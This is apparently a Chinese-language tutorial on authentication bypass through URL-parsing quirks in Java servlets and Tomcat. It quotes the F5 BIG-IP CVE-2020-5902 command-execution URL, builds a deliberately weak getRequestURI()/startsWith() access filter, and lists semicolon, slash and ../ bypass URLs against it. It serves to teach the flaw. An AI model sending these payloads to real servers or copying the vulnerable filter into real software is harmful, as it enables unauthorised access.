借BIG IPCVE-2020-5902 漏洞的payload说一下前端认证绕过,注意这里用到的;分号,是不是在很多认证绕过的payload里都见过。
https://[F5Host]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'
首先要了解HTTPServletRequest中对URL路径的几种解析方法:
request.getRequestURL():返回全路径;
request.getRequestURI():返回除去Host(域名或IP)部分的路径;
request.getContextPath():返回工程名部分,如果工程映射为/,则返回为空;
request.getServletPath():返回除去Host和工程名部分的路径;
request.getPathInfo():仅返回传递到Servlet的路径,如果没有传递额外的路径信息,则此返回Null;
漏洞出在,当后台程序使用getRequestURI()或getRequestURL()函数来解析用户请求的URL时,若URL中包含了一些特殊符号,则可能会造成访问限制绕过的安全风险,其中分号;就是其一。
1)分号;
在URL中遇到;号会将;xxx/中的分号与斜杠之间的字符串以及分号本身都去掉:
2)斜杆/
判断是否有连续的/,存在的话则循环删除掉多余的/:
3)./和../
将/./删除掉、将/../进行跨目录拼接处理。
总结一下,分号可用在两种场景:
/;xxx/实现分割目录
/..;/实现跨目录,常用在../被禁用的场景下
;.css或;.js等利用白名单绕过认证鉴权
假设Tomcat上启动的Web目录下存在一个info目录,其中有一个secret.jsp文件,其中包含敏感信息:
<%@ pagecontentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Secret</title>
</head>
<body>
username: mi1k7ea<br>
password: 123456<br>
address: china<br>
phone: 13666666666<br>
</body>
</html>
新建一个filter包,其中新建一个testFilter类,实现Filter接口类,实现只要访问/urltest/info目录下的资源,都需要进行权限判断,否则直接放行。
注意这里调用getRequestURI()函数来获取请求中的URL目录路径,然后调用startsWith()函数判断是否是访问的敏感目录:
package filter;
import javax.servlet.*;
import javax.servlet.http.*;
import java.io.IOException;
public class testFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse,FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest httpServletRequest =(HttpServletRequest)servletRequest;
HttpServletResponse httpServletResponse =(HttpServletResponse)servletResponse;
String url =httpServletRequest.getRequestURI();
if (url.startsWith("/urltest/info")) {
httpServletResponse.getWriter().write("No Permission.");
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {
}
}
编辑web.xml,添加testFilter设置:
<?xml version="1.0"encoding="UTF-8"?>
<web-appxmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaeehttp://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<filter>
<filter-name>testFilter</filter-name>
<filter-class>filter.testFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>testFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
</web-app>
运行之后,访问http://localhost:8080/urltest/info/secret.jsp,会显示无权限,可用的绕过方法有下面几种:
加/绕过:http://localhost:8080//urltest/info/secret.jsp
跨目录:http://localhost:8080/urltest/anything/../info/secret.jsp
或http://localhost:8080/urltest/anything/..;/info/secret.jsp
./绕过:http://localhost:8080/urltest/./info/secret.jsp
;绕过:http://localhost:8080/urltest/;anything/info/secret.jsp
参考:
http://www.mi1k7ea.com/2020/04/01/Tomcat-URL%E8%A7%A3%E6%9E%90%E5%B7%AE%E5%BC%82%E6%80%A7%E5%8F%8A%E5%88%A9%E7%94%A8/
https://mp.weixin.qq.com/s/ujfGCP25lFVRtNQOJYBYDw